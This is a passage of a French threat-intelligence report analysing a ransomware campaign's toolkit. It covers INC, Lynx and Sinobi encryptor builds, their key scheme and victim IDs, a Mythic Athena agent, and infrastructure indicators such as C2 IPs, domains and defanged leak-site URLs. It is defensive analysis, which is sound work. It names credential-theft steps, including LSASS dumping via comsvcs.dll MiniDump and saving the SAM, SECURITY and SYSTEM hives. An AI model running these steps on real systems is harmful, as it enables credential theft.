| `Phantom_cve202562215`, `cve202562215_fixed`, `elevate` | MinGW | | Tentative d'élévation par course de handles sans primitive noyau démontrée ; contournement UAC par l'objet COM `CMSTPLUA` |
| `Phantom_wp2shell` | PyInstaller (Windows et Linux) | | Outil générique d'intrusion WordPress, sans adresse de commande intégrée : la cible est un argument |
| `Phantom_QuickLine`, `QuickLine_cf` | .NET 8, hôte monofichier de 37 Mo | | Agent Mythic Athena, C2 `https://api.iquickline.com` (le premier est une archive zip contenant le second) |

`zloader` et `pnloader` affichent des journaux détaillés (`[+] EXPLOITATION SUCCESSFUL`, `[*] Keeping Defender dead for 30 seconds...`), des outils qui ne cherchent pas la discrétion. `zloader` arrête `MsMpEng.exe`, `MsSense.exe`, `NisSrv.exe` et `MpDefenderCoreService.exe` via le périphérique `\\.\ZemanaAntiMalware`, vide LSASS avec `rundll32 comsvcs.dll, MiniDump` vers `C:\Windows\Temp\d.dmp` et sauvegarde les ruches SAM, SECURITY et SYSTEM.

Les commentaires, les noms de modules (`mcp-agent`, `mcp-bridge`) et le style très descriptif du code sont compatibles avec l'assistance par modèle de langage décrite dans l'article. Ce constat est une observation de style, pas une preuve.

### Outils complémentaires

- **QuickLine, agent Mythic Athena.** L'exécutable est un paquet monofichier de 189 fichiers dont les assemblées d'agent (`Agent.Models`, `Agent.Profiles.Http`, `Agent.Crypto.Aes`, `Agent.Managers.*`, IronPython, Autofac) et la chaîne `Athena` identifient l'agent public de la plateforme de commande Mythic. Le profil HTTP actif appelle `https://api.iquickline.com` sur le port 443 (paramètres `q` et `data`, chemin `index`), avec un User-Agent Chrome 127, un identifiant de charge `1b1270ff-6b8f-4f62-88f4-304cc11c0662`, un intervalle de 10 s avec 23 % de gigue, une date d'extinction au 2027-01-01 et une clé AES pré-partagée que je ne reproduis pas (SHA-256 de la chaîne base64 : `613c9b9c35606656a45dd4fa56fd7388e47ec4591f547085c526d02934e61fbb`). Cela relie `iquickline.com` à un vrai serveur de commande et non à un simple leurre. L'archive date du 2026-08-11, quatre jours après l'enregistrement du domaine.
- **rks3.** Trois variantes Go (go1.24 et go1.25) compilées sous `/root/chat/DOWNLOADER/rks3/` pour deux d'entre elles, de révision unique `125a84a1` datée du 2026-07-06 07:31:05 UTC (arbre modifié). Aucun secret d'accès aux services de stockage n'est en clair.
- **ligagent.** Agent Ligolo-ng 0.8.2 (module `github.com/nicocha30/ligolo-ng/cmd/agent`, go1.23.9) recompilé puis compressé par UPX. Le serveur de rappel est passé en argument, aucune adresse n'est intégrée.
- **Agent ELF à tunnel ChaCha20.** `RevSocks_vmware-usbarbitrator` est un exécutable statique x86_64 sans rapport de code avec les chargeurs RevSocks Windows. Il se détache en arrière-plan et se connecte à `77.110.109.248` sur le port 443. Sa clé ChaCha20 est le SHA-256 du préfixe `chacha20_tunnel_v3_` suivi du secret ASCII de 32 caractères `f191074b103901bb58a4ca37494e4cf6`, le même que celui des agents Windows (§6) : une clé statique, identique pour toutes les installations. La poignée de main et le format des trames sont ceux décrits au §6 (défi de 32 octets, échange de `CC20`, longueur sur 4 octets, nonce de 12 octets, étiquette Poly1305). Le nom d'hôte et le nom d'utilisateur (par défaut `esxi` et `root`) n'entrent dans aucune clé, ils figurent seulement dans le premier message chiffré. Une session capturée se déchiffre donc avec le seul échantillon, ce que je n'ai pas pu tester faute de capture. MalwareBazaar l'étiquette `Mirai`, ce que rien dans le code ne confirme.
- **Agents Python.** `phantom_agent` et `WUServiceHost` (PyInstaller) sont des outils d'audit local qui ajoutent un mode implant à canaux HTTPS et DNS TXT. Aucune adresse n'est intégrée : elles sont passées en argument.
- **Élévation de privilèges et neutralisation (outils Ghost et Phantom confondus).** Le moniteur d'impression `Ghost_monitor` (persistance et exécution en SYSTEM par le spouleur ; un fichier `.dat` de même nom, absent du lot et écrit au déploiement, donne le chemin de l'implant à lancer, selon les journaux du build de débogage), `Ghost_uac_bypass` (dossier fantôme `C:\Windows \System32`, `winSAT.exe` et une `WINMM.dll` embarquée), `elevate` (objet COM `CMSTPLUA`, répertoire `C:\Uyap`), `quickheal-killer2` (pilote Zemana embarqué) et `zloader` (BYOVD). `pnloader` et `nightmare.dll` exploitent PrintNightmare (CVE-2021-1675) et créent le compte `pnadmin` avec un mot de passe codé en dur, que les tentatives CVE-2025-62215 réutilisent. L'exploit `CVE-2025-62215` s'exécute en quatre phases journalisées (arrosage du pool noyau avec des objets, création de trous, course, vérification de l'élévation). En cas de succès il emprunte le jeton SYSTEM puis exécute une charge qui sauvegarde les ruches SAM, SECURITY et SYSTEM sous `C:\Windows\Temp` (`s.dat`, `se.dat`, `sy.dat`), vide LSASS par `comsvcs.dll` vers `d.dmp`, crée le compte `pnadmin` dans le groupe des administrateurs et écrit `C:\Windows\Temp\pn_done.txt`. Le code en mode utilisateur ne montre toujours pas la primitive noyau elle-même. Le nom du dossier `Uyap` est celui du système d'information judiciaire turc : c'est un indice faible, qui ne permet aucune attribution.
- **Capture NTLM.** `Ghost_ntlm_test` s'authentifie contre un serveur HTTP de rebouclage pour obtenir le hachage NTLMv2 de l'utilisateur courant, sans envoi réseau externe.
- **Ghost_AetherPulse.dll.** DLL compilée avec Visual Studio 2019 le 2023-06-15, logique obfusquée par prédicats opaques et constantes masquées par XOR, trois exports qui appellent la même routine. Elle cherche son propre nom dans la liste des modules du PEB et n'importe aucune API réseau. Les deux blocs d'entropie élevée de `.rdata` ne sont pas des charges chiffrées : l'un contient les tables de zlib et de CRC-32, l'autre un pool de constantes. Ses imports se limitent à la création de fils et d'évènements, à la manipulation de fichiers dans le répertoire temporaire et au déroulement de pile des exceptions ; les noms de ses trois exports sont aléatoires et son nom d'exportation interne est `LdrDll.dll`. Le graphe d'appel calculé depuis les exports atteint une routine qui copie un fichier vers un chemin dérivé puis écrase l'original avant de le supprimer à la fermeture (`FILE_FLAG_DELETE_ON_CLOSE`), et une autre qui crée un fichier dans le dossier temporaire. Les appels d'API passent par des pointeurs masqués au sens de la bibliothèque d'exécution MSVC, pas par un hachage de noms. Ses ressources de version déclarent un éditeur et un produit (copyright 2022, version 7.64.79.47) introuvables dans les sources publiques, consignés dans le fichier restreint. C'est donc un composant de manipulation de fichiers, sans réseau, sans configuration et sans lien technique avec l'infrastructure de la campagne : son appartenance à la boîte à outils ne repose que sur son dépôt dans le lot, et une copie d'un logiciel tiers n'est pas exclue.

## 8. Encrypteurs INC

Le lot contient 46 builds : 7 Windows et 39 ELF couvrant 13 cibles (x86_64 en `gnu`, `musl` et `esxi`, ARM 32 et 64 bits, PowerPC, RISC-V, s390x, SPARC64).

### Un modèle compilé une fois, patché par victime

Six builds Windows de 2 206 208 octets ont la même date de compilation PE, 2025-08-14 13:07:56. Je les ai comparés deux à deux : les quinze paires diffèrent de 53 à 62 octets, répartis en quelques zones :

| Zone | Contenu |
|---|---|
| `.rdata` `0x1c3ed8` | `ae000000 2e000000`, puis 44 caractères base64 (32 octets) propres au build, puis `is empty` |
| `.rdata` `0x1c5e6c` | Chaîne de format `u<16 hex><8 hex>%id%A:\`, dont les 16 caractères hexadécimaux varient |
| `.text` `0xfc1c`, `0x10066` | Deux séries d'immédiats qui reprennent le second identifiant de 8 caractères |

Les 8 premiers caractères hexadécimaux de l'identifiant à 16 caractères sont un horodatage Unix. Décodés, ils placent la fabrication des six builds le **2026-09-30** :

| Build | Heure UTC | Valeur de 32 octets (base64) |
|---|---|---|
| `0ae4447d` | 06:00:36 | `gVN/HMVCEkEJkAFraoZhx0Q5AqV1QTPcCBnKpvHSIFc=` |
| `14b711bd` | 06:01:59 | `JNzsq5s895sngqJ4XECXMrabGreP2Ywi6on2uDWIT1c=` |
| `ca02f609` | 06:03:06 | `pJQXFuNkDzzlRP34SykLQePNR2pUE95vPQQsIPy/cw0=` |
| `ec4ba1d5` | 06:08:20 | `tz70miRVgkbFzm/bTgs+GYk1QzVijUOTC5NjKE0MIlo=` |
| `ffd47c59` | 06:17:54 | `rCdf4MoDNZi3/Si/Rg/nrTpExpo0UXeqzvKqqZdcS1o=` |
| `ffca6aa9` | 06:52:11 | `LfgAMKbWLUT3BI+gu8//uwMJbVQLTBK+13/i7CPoJXA=` |

Ça recoupe ce que dit l'article de paquets préparés le 30 septembre pour une vague du 1er octobre. Le septième build Windows (`c20411a8`, 2 205 184 octets, PE du 2026-08-03) a une autre disposition : il contient le marqueur `PATCH_CONFIG,` suivi d'une valeur base64 de 32 octets (`5047zB79intd5vl7oY5i0ofoZFYfuhhqxnNDDvMG5Fw=`, offset `0x1fd610`), puis de la note de rançon en base64. Ce build a été compilé le 2026-08-03 avec une autre version de l'éditeur de liens (2.25 contre 2.35 pour les six autres, pourtant datés de 2025), ce qui indique une autre chaîne de compilation ; un éditeur de liens plus ancien avec une date plus récente peut aussi signaler un horodatage PE modifié, ce que je n'ai pas vérifié. C'est un autre modèle ou une autre version du générateur de kits, donc une cible ou un essai distinct de ceux du 2026-09-30.

### Chaîne de compilation

Les chaînes du binaire contiennent `C:\Users\runneradmin\.cargo\registry\src\index.crates.io-...`. Le compte `runneradmin` est celui des exécuteurs Windows hébergés de GitHub Actions : le modèle a donc été compilé par une chaîne d'intégration continue, vraisemblablement un dépôt privé ou jetable de l'opérateur. C'est une piste à destination de GitHub, non vérifiée ici.

### Cryptographie

Bibliothèques liées : `curve25519-dalek` 3.2.1, `aes-soft` 0.6.4 avec `ctr` 0.6.0 (AES en mode CTR), `salsa20` 0.9.0, `rand_core` 0.5.1. L'aléa vient de `BCryptGenRandom` et de `SystemFunction036`, donc du générateur du système. Il n'y a pas de graine temporelle exploitable. La valeur de 32 octets propre à chaque build est la clé publique Curve25519 de l'opérateur. Le rôle est confirmé par la décompilation du build ELF x86_64 (section Builds Linux et ESXi), et les mêmes valeurs figurent dans trois des builds Windows. Les autres éléments relevés : fichier de rançon `INC-README.txt`, extension `.INC`, journal `INC.log`, chaînes de ciblage ou d'exclusion `veeam`, `sql`, `backup`, `recycle.bin`, `programdata`, `all users`, `sophos`, usage de Restart Manager (`RstrtMgr.DLL`) et de `DeviceIoControl`.

### Builds Linux et ESXi

Les 39 ELF se répartissent en trois lots de 13 builds, un par cible, rattachés par leur clé publique (kit1, kit2, kit3). Cinq fichiers de l'inventaire portent un nom sans numéro de lot (un `esxi`, un `musl`, trois `gnu`) et sont rattachés à leur lot par leur seule clé. Les lots ne diffèrent d'une même cible que de 43 à 58 octets : la clé base64 de 44 caractères et, hors PowerPC, un identifiant hexadécimal de 24 caractères. Je n'ai exécuté aucun des 39 binaires. L'extraction se rejoue avec `tools/decompile_refs.py` et la table complète est dans `osint/inc_victim_ids.csv`.

| Lot | Clé publique (base64) | Identifiant | Horodatage UTC | Build Windows correspondant |
|---|---|---|---|---|
| kit1 | `tz70miRVgkbFzm/bTgs+GYk1QzVijUOTC5NjKE0MIlo=` | `6abca7549cd108bf266171a6` | 2026-09-30 06:08:20 | `ec4ba1d5` |
| kit2 | `pJQXFuNkDzzlRP34SykLQePNR2pUE95vPQQsIPy/cw0=` | `6abca61a9cd108bf26614b0d` | 2026-09-30 06:03:06 | `ca02f609` |
| kit3 | `rCdf4MoDNZi3/Si/Rg/nrTpExpo0UXeqzvKqqZdcS1o=` | `6abca9929cd108bf2661b1cb` | 2026-09-30 06:17:54 | `ffd47c59` |

Trois des six builds Windows personnalisés correspondent donc à trois lots Linux et ESXi complets, avec la même clé publique et le même horodatage. C'est un indice de trois cibles visées sur plusieurs systèmes, sans que l'on sache s'il s'agit de trois victimes distinctes. L'article liste ces trois lots (« kit 1 » à « kit 3 », Windows et Linux) et trois autres builds Windows sans équivalent Linux, étiquetés A à C, qui sont `ffca6aa9`, `0ae4447d` et `14b711bd`. L'identifiant de 24 caractères suit le format d'un ObjectId MongoDB (voir la sous-section Identifiant de victime et blog de fuite, plus bas) : horodatage Unix (8 caractères), valeur aléatoire propre au processus générateur (`9cd108bf26`) et compteur (`614b0d`, `6171a6`, `61b1cb`) qui croît avec l'heure de fabrication. Les builds PowerPC ne contiennent pas cet identifiant en clair, seulement la clé. L'extension `INC` précède immédiatement la clé base64 dans les 39 binaires (recherche de chaîne sur chaque fichier, sans décompilation individuelle), et le nom de la note `INC-README.txt` figure en clair dans les builds ESXi, aarch64, ARM 32 bits (`eabi` et `eabihf`), riscv64, s390x et sparc64. Il est construit par des constantes immédiates dans les builds x86_64 `gnu` et `musl`, et la recherche de chaîne ne le retrouve pas dans les builds armv7 et PowerPC.

La fonction qui référence la clé dans le build x86_64 `gnu` fait quatre choses : elle tire 32 octets aléatoires, applique le masquage de scalaire Curve25519 (`& 0xf8` sur le premier octet, `& 0x3f | 0x40` sur le dernier), calcule la clé publique éphémère correspondante, puis décode la chaîne base64 de 0x2c caractères et exige 32 octets. C'est un échange de clés X25519 avec une clé éphémère par exécution et une clé publique fixe de l'opérateur par victime. Seul le détenteur de la clé privée associée peut reconstituer la clé de fichier. En pratique, chacune de ces trois clés publiques correspond à une cible, et une saisie de la clé privée correspondante permettrait de produire un déchiffreur.

### Interface en ligne de commande

Les chaînes d'aide du build Windows décrivent une interface en ligne de commande avec un mode de chiffrement (`fast`, `medium`, `slow`), une liste de fichiers à chiffrer et l'arrêt des processus qui utilisent un fichier, ce qui rapproche son paramétrage de celui du chiffreur Sinobi décrit plus bas. Le mode de chiffrement n'est pas un paramètre patché dans ces 39 binaires : les chaînes d'aide montrent des options de ligne de commande, désignées par leurs identifiants `directory`, `file`, `mode` (`fast`, `medium` ou `slow`), `motd` (remplacer le message du jour par la note de rançon), `esxi` (arrêter les machines virtuelles), `skip` (en exclure par identifiant), `daemon` (se détacher d'une session SSH) et `delay` (différer le chiffrement de N minutes). Seule la configuration est patchée (clé, identifiant et note de rançon). Les noms de ces options sont des identifiants relevés dans les chaînes d'aide, pas des drapeaux vérifiés par exécution.

La note de rançon est stockée en base64 dans les 39 binaires et elle est identique octet pour octet dans les trois lots (3 428 caractères, titre `INC Ransom`). Elle donne :

| Rôle | Valeur (désarmée) |
|---|---|
| Blog de fuite Tor | `hxxp://incblog6qu4y4mm4zvw5nrmue6qbwtgjsxpw6b7ixzssu36tsajldoad[.]onion/` |
| Miroir clair | `hxxp://incblog[.]su/` |
| Salon de négociation Tor | `hxxp://incpaykabjqc2mtdxq6c23nqh4x6m5dkps5fr6vgdkgzp5njssx6qkid[.]onion/` |
| Identifiant victime | variable `%id%` remplacée au chiffrement |

Le texte menace de nouvelles attaques en cas de refus, dissuade de contacter la police et le FBI, et affirme que les assureurs cyber sont ciblés pour récupérer leurs informations. Je n'ai visité aucune de ces adresses. Le domaine `incblog.su` ne résout plus (NXDOMAIN) et le registre `.su` n'a aucune entrée à la date du 2026-10-23. Les archives web le montrent actif de juin 2024 à avril 2025. La note renvoie donc à un miroir clair disparu, ce qui suggère un modèle de note ancien réutilisé. Les autres miroirs relevés (`incapt.su`, `incapt.blog`, `incbackend.top`) ne résolvent pas non plus.

### Identifiant de victime et blog de fuite

Les identifiants de 24 caractères hexadécimaux ont la structure d'un ObjectId MongoDB (ou d'une bibliothèque qui en reprend le format) : horodatage Unix sur 4 octets, valeur aléatoire de 5 octets tirée une seule fois par processus générateur, compteur de 3 octets. Le compteur des trois lots de 2026 croît avec l'horodatage de façon cohérente : 9 881 identifiants générés en 314 secondes entre kit2 et kit1, 16 421 en 574 secondes entre kit1 et kit3, soit environ 30 identifiants par seconde par le même processus.

Le blog de fuite INC, relevé le 2026-10-24 par l'agrégateur public ransomlook, compte 967 publications dont 870 ont un lien qui porte un identifiant de ce format. Ces publications se regroupent en 25 valeurs aléatoires distinctes entre 2024-04-17 et 2026-10-21 (`osint/inc_objectid_process_values.csv`), c'est-à-dire 25 instances successives du processus (redéploiements ou redémarrages) de durées très inégales. La dernière, `9cd108bf26`, apparaît dès le 2026-08-02 et porte 97 publications jusqu'au 2026-10-21. Les identifiants des 23 encrypteurs INC historiques, des 15 Lynx et du Sinobi analysés (historique ci-dessous) portent tous une valeur aléatoire présente sur le blog de leur propre marque (INC 23 sur 23, Lynx 15 sur 15, Sinobi 1 sur 1), et les trois lots de 2026 portent celle de l'instance INC actuelle. Le générateur de kits et le blog de fuite sont donc le même logiciel, déployé en une instance par marque, ce qui précise le « générateur partagé » constaté plus bas. Une capture Wayback du miroir clair `incblog.su` (2025-04-09) montre une page de publication dont le lien porte déjà ce format, avec la valeur aléatoire de l'instance de janvier et février 2025.

Les identifiants de publication sont créés au moment de la publication (médiane de 0 jour entre l'horodatage de l'identifiant et la découverte par l'agrégateur) : ils ne coïncident pas avec ceux des kits, et aucun des trois identifiants de kit de 2026 n'apparaît sur le blog au 2026-10-22. On ne peut donc pas relier un kit à une victime publiée par cette voie, mais on peut dater la fabrication d'un kit et le rattacher à une instance, sans contact avec l'opérateur. Le blog compte 39 publications entre le 2026-09-20 et le 2026-10-22 (noms de victimes dans le dossier restreint), dont cinq le 2026-10-01 et sept le 2026-10-07. Aucun lien n'est établi entre ces victimes et les trois lots.

### Historique des kits INC, Lynx et Sinobi

J'ai téléchargé et lu, sans les exécuter, 54 autres hachages étiquetés INC sur MalwareBazaar (`osint/inc_candidates_analysis.md`). Ce n'est pas le lot de 2026 : on y trouve 23 encrypteurs INC en C++, 3 en Rust, 15 Lynx, un Sinobi, un déchiffreur INC 2.0 et quelques fichiers sans rapport, l'étiquette du déposant étant souvent fausse. Tous les encrypteurs patchés partagent la forme des champs du lot de 2026 : une clé publique base64 de 44 caractères propre à la victime, un identifiant de 24 caractères au format ObjectId (horodatage Unix, valeur aléatoire de 5 octets stable pendant la vie d'un processus, compteur de 3 octets) et une note de rançon en base64. Cette forme commune à INC, Lynx et Sinobi indique un générateur de kits partagé. Elle est observée depuis avril 2024.

| Mesure | Valeur |
|---|---|
| Fichiers porteurs d'une clé | 44, pour 41 clés distinctes |
| Horodatages d'identifiants lisibles | du 2024-04-22 au 2025-07-26 |
| Clés communes avec le lot de 2026 | aucune |
| Clés partagées entre deux fichiers | 3 (un PE et un ELF de juin 2024, deux conditionnements d'août 2024, deux variantes Lynx de janvier 2025) |

Les builds Rust de juillet 2025 emploient déjà le miroir `incblog.su` que la note du lot de 2026 cite encore, ce qui date l'origine de cette note d'au moins l'été 2025. Les notes Lynx et Sinobi ajoutent des miroirs (`lynxr.blog`, `lynxr.help`, `lynxblog.net`, `blog.sinobi.us.org`) et chacune une quinzaine d'onions, repris dans `iocs.csv`. Aucune note ne contient de portefeuille. J'ai établi le rôle de la clé dans les builds C++ par décompilation de l'ELF (32 octets aléatoires, masquage de scalaire Curve25519, clé publique éphémère, secret partagé avec la clé base64 décodée de la victime) et par un motif identique dans le PE 32 bits, dont la routine de multiplication n'a pas été relue en détail. Le champ est donc la clé publique X25519 de l'opérateur, comme dans les builds Rust. Le schéma de chiffrement par fichier de ces encrypteurs ELF C++ est, d'après la décompilation : une clé X25519 éphémère par fichier, un secret partagé avec la clé publique de l'opérateur haché par une fonction de la famille SHA-2, puis de l'AES-128 en mode CTR par blocs de 1 000 000 octets, avec un trailer de 80 octets contenant la clé publique éphémère et l'extension (`.INC`). Seul le détenteur de la clé privée de l'opérateur peut recalculer le secret partagé : je n'ai trouvé aucune faiblesse exploitable pour le déchiffrement.

J'ai comparé les chaînes imprimables (huit caractères et plus) : deux lignées de code en ressortent. Le PE 32 bits INC de 2024 et le chiffreur Lynx de décembre 2024 partagent 274 chaînes, soit 47 % de leur union : c'est très probablement un même code source. Les encrypteurs Rust de 2026 ne partagent qu'environ 5 % de leurs chaînes avec eux pour le build Windows (aucune chaîne en commun pour le build Linux) et 2 % entre eux (les chaînes propres à la plateforme dominent) : c'est une réécriture, qui garde les mêmes modes `fast`, `medium` et `slow`, le mode sans échec et le marqueur `%id%`. Le générateur de kits est donc commun aux deux lignées pour les champs patchés, mais le code de chiffrement a été réécrit. La mesure porte sur des chaînes, pas sur des fonctions, et ne remplace pas une comparaison de graphes d'appel. Les chiffreurs Lynx d'un même modèle gardent aussi une date de compilation commune (2024-12-21 11:37:45) avec des identifiants de victime étalés du 2025-01-07 au 2025-02-02, comme le modèle Windows de 2026 patché le 2026-09-30.

Trois fichiers fermés complètent cet historique. Un extracteur IExpress de 4 210 688 octets imite l'installateur « WinRaR Setup Wizard » (avec la faute) : il lance d'abord l'installateur authentique de WinRAR 7.13 comme leurre, puis deux extracteurs imbriqués, jusqu'à un chiffreur Lynx 32 bits compressé par UPX et nommé `WerFault.exe`. Ce chiffreur date d'octobre 2024 et a été reconditionné en août 2025. Sa clé est `tjCShFODz0YforRLcNTbLGIwGsEkdxSVfZ4XZ0eWHQk=` (identifiant `6723491ddab69e0ba2b5ead7`, horodaté 2024-10-31) et sa note reprend 14 onions déjà connus. Le chiffreur Sinobi `d4919a74` porte la clé `Il2uG3L5S9oCrKxvozNzWSynv8ZWxN09+9w8aLpAhBE=` (identifiant `68676f1e88b6823fa29f32cb`, horodaté 2025-07-04), placée juste après la note de rançon, ce qui explique qu'elle ait échappé à la première lecture. Avec ces deux clés, la lignée compte 43 clés distinctes. Enfin, l'archive chiffrée du lot de candidats s'ouvre avec le mot de passe `infected` et ne contient rien d'INC : c'est un outil d'administration à distance chinois (chemin de débogage `PcServer\Release\PCS.pdb`) signé par un certificat EV SSL.com émis à une société tierce, à signaler à l'autorité de certification pour révocation (numéro de série `3C16154E4D7DE3DCE12A0030A213491F`, identité dans le fichier restreint).

Le chiffreur Lynx emballé dans l'extracteur IExpress ajoute l'extension `.lynx`, dépose une note `README.txt` dans chaque répertoire et une image de fond d'écran `background-image.jpg`. Il propose quatre modes de chiffrement partiel (`--mode fast|medium|slow|entire`, soit 5 %, 15 % par défaut, 25 % et 100 % de chaque fichier) et des options pour arrêter des processus, entrer en mode sans échec, monter les volumes cachés et chiffrer les partages réseau. Chaque fichier chiffré reçoit en fin de contenu un enregistrement de 116 octets (appel `WriteFile` de 0x74 octets) dont l'ordre des champs se lit dans la fonction d'écriture : 32 octets puis 64 octets de matériel de clé, un champ de 8 octets, le marqueur `LYNX` (8 octets avec bourrage) et la taille de bloc 1 000 000 en dernier champ de 4 octets (disposition déduite de l'ordre des variables locales, à confirmer au désassemblage) ; la valeur du mode intervient dans le calcul des positions des blocs mais ne semble pas faire partie de ces 116 octets ; à l'ouverture, le chiffreur compare quatre octets du pied de fichier à `LYNX` pour ignorer les fichiers déjà traités. Le chiffrement est un flux XOR avec un compteur de 16 octets incrémenté en gros-boutiste (mode CTR), comme dans les builds INC C++, et le nom reçoit l'extension `.LYNX` (la comparaison d'extension se fait avec `.lynx`). Il ignore notamment les répertoires `windows`, `program files`, `appdata`, `microsoft sql server`, `mongodb` et `postgresql`, et cible les processus et services dont le nom contient `sql`, `veeam`, `backup`, `exchange`, `java` ou `notepad`.

## 9. Infrastructure et OSINT passif

### Adresses IP

| Adresse | Rôle | Détenteur du bloc (RDAP) | Bloc enregistré |
|---|---|---|---|
| `89.185.83.8` | Origine du C2 Meterpreter | VDSCLOUD-NET (Digi Cloud NOC, Alviva Holding Limited, pays RDAP Îles Marshall, adresse du titulaire aux Seychelles) | 2024-08-06 |
| `77.110.109.248` | RevSocks, Ghost_agent | NetCrafters OU | 2025-02-11 |
| `138.124.123.56` | Phantom `mcp-agent` | NetCrafters OU | 2024-12-04 |
| `141.98.83.180` | Livraison et rappel RevSocks de septembre 2026 | GLOBALHOST-NET (AS209588, Flyservers S.A.), pays RDAP PA | 2019-01-28 |
| `138.124.113.210` | Panneau Ghost (article) | Aeza Group | 2024-12-04 |
| `45.227.254.43`, `.45`, `.84` | Base de connaissances, hub de livraison, VM opérateur | XWIN UNIVERSAL LTD (Belize) | 2018-04-24 |
| `179.60.149.68` | Rebond de staging (article) | FINEISP LIMITED (Trinité-et-Tobago) | 2025-08-13 |

L'article ne mentionne pas `138.124.123.56` : l'adresse sort de l'agent `mcp-agent`, et son bloc a le même détenteur que le serveur RevSocks. Seule `77.110.109.248` figure dans ThreatFox (entrée du 2026-10-21 sans famille associée). `89.185.83.8` n'est dans aucun flux abuse.ch.

### Domaines

| Domaine | Enregistrement (RDAP) | Serveurs de noms | Historique des certificats |
|---|---|---|---|
| `system-strategy.org` | 2026-05-02 | Cloudflare `coco` / `remy` | Certificats depuis 2017 émis par des autorités successives, wildcard Let's Encrypt dès 2026-05-01 |
| `iquickline.com` | 2026-08-07 17:13 UTC | Cloudflare `coco` / `remy` | Premiers certificats le 2026-08-07 |
| `mcgrawney.com` | 2026-08-07 17:14 UTC | Cloudflare `coco` / `remy` | Let's Encrypt en 2021, GoDaddy de 2023 à 2025, nouveaux certificats le 2026-08-07 |
| `driverupdate.app` | 2026-04-28 | Cloudflare `coco` / `remy` | Premiers certificats le 2026-04-28 |
| `stackpathcloud.com` | 2026-05-01 | Cloudflare `coco` / `remy` | Premiers certificats le 2026-05-01 |
| `cloud-update.live` | 2026-04-17 | Cloudflare `jose` / `arely` | Certificats Cloudflare de 2020-12 à 2021, nouveaux en 2026-04-17 |
| `bossprotect.com` | 2026-06-24 | NS3/NS4 `MY-NDNS.COM` (NiceNIC) | Certificats depuis 2025-03 |

Trois choses en ressortent :

- **Même compte Cloudflare.** Cloudflare attribue une paire de serveurs de noms par compte. Cinq domaines partagent la paire `coco` et `remy`, ce qui est un indice de rattachement à un même compte (confiance moyenne : les paires sont tirées dans un ensemble limité et partagées par de nombreux comptes). Seul Cloudflare peut le confirmer. Ces cinq mêmes domaines (`system-strategy.org`, `iquickline.com`, `mcgrawney.com`, `driverupdate.app`, `stackpathcloud.com`) sont aussi enregistrés chez Cloudflare Registrar d'après le RDAP, qui détient alors les données d'enregistrement et de paiement ; `cloud-update.live` est chez Namecheap et `bossprotect.com` chez NiceNIC.
- **Enregistrements groupés.** `iquickline.com` et `mcgrawney.com` ont été enregistrés à 77 secondes d'écart.
- **Domaines anciens réenregistrés.** `system-strategy.org`, `mcgrawney.com` et `cloud-update.live` ont un historique de certificats qui précède leur date d'enregistrement actuelle de plusieurs années. L'interprétation la plus simple est une récupération après expiration, pratique qui hérite de l'ancienneté du nom. C'est une inférence, non une preuve.

Un huitième domaine, `trulitesupport.com`, figure dans la liste saisie par le rapporteur dans ThreatFox et dans l'article, qui le décrit comme une page factice d'avis aux clients, mais dans aucun échantillon du lot. Il n'a aucun certificat dans les journaux de transparence, mais le hub de livraison `45.227.254.45` présente un certificat à ce nom (§10), et le domaine a été créé le 2026-09-09 chez Tucows.

## 10. Pivots OSINT complémentaires

Tout ce qui suit vient de sources publiques, interrogées sans contact avec l'opérateur : RIPEstat, RDAP, résolveur DNS public, urlscan.io, Wayback Machine, crt.sh, abuse.ch, Shodan InternetDB, AlienVault OTX, VirusTotal, Triage, ransomlook et recherches web.

### Les domaines sont d'anciens domaines réenregistrés

| Domaine | Premier snapshot archivé | Dernier snapshot avant la campagne | Contenu d'origine | Page actuelle |
|---|---|---|---|---|
| `system-strategy.org` | 2013 | 2026-01-17 | Site d'un institut russe de recherche en sciences sociales | Fausse page « StackPath - Edge Services », archivée le 2026-10-08, relevée par urlscan les 2026-10-21 et 22 |
| `iquickline.com` | 2008 | 2026-06-07 | Non examiné | Page « Welcome ». Wayback a aussi archivé `iquickline.com` et `api.iquickline.com` le 2026-10-11 (page racine neutre, corps `It works!`), neuf jours avant le dépôt MalwareBazaar |
| `mcgrawney.com` | 2004 | 2025-07-12 | Non examiné | Page « Welcome » |
| `bossprotect.com` | 2003 | 2025-03-20 (dernier statut 200 : 2023-06-02) | Non examiné | Pas de page, serveur de messagerie |
| `cloud-update.live` | 2021 | 2022-01-08 | Non examiné | Erreur 522 de Cloudflare le 2026-10-22 |
| `driverupdate.app`, `stackpathcloud.com` | aucun | aucun | Sans objet | Pas de page archivée |

Les anciens propriétaires de ces noms ne sont pas impliqués. Le cas de `system-strategy.org` est net : un site légitime archivé par Wayback jusqu'au 2026-01-17 (certificats renouvelés jusqu'en février 2026), un nom laissé expirer, un réenregistrement le 2026-05-02, puis une page de leurre. L'opérateur récupère des noms qui ont de l'ancienneté et un historique de certificats. La page de leurre imite une plateforme de distribution de contenu connue ; `stackpathcloud.com` reprend aussi le nom de cette marque sans lien avec elle, un abus de marque à signaler à son titulaire.

### Un même système autonome pour trois serveurs

| Adresse | Rôle | Système autonome |
|---|---|---|
| `89.185.83.8` | Origine du C2 Meterpreter | AS209272 (Alviva Holding, Digi Cloud) |
| `179.60.149.68` | Rebond de staging | AS209272 |
| `91.199.163.67` | Messagerie de `bossprotect.com` (SPF et MX pointent dessus) | AS209272 |

AS209272 n'annonce que six plages `/24` : `185.55.242.0`, `88.214.27.0`, `89.185.83.0`, `45.227.253.0`, `91.199.163.0` et `179.60.149.0`. Trois des six portent de l'infrastructure de la campagne. Ce regroupement n'est pas dans l'article. `91.199.163.67` appartient à un bloc `91.199.163.0` à `.100` enregistré le 2026-02-19, quatre mois avant `bossprotect.com`, avec un maître lituanien et un contact d'abus Digi Cloud. C'est une adresse nouvelle, absente de tous les flux publics consultés. Les plages `138.124.123.0/24` et `77.110.109.0/24` (RevSocks, `mcp-agent`) appartiennent à AS203273, NetCrafters OU, qui annonce 175 plages.

### Cloudflare et origine réelle

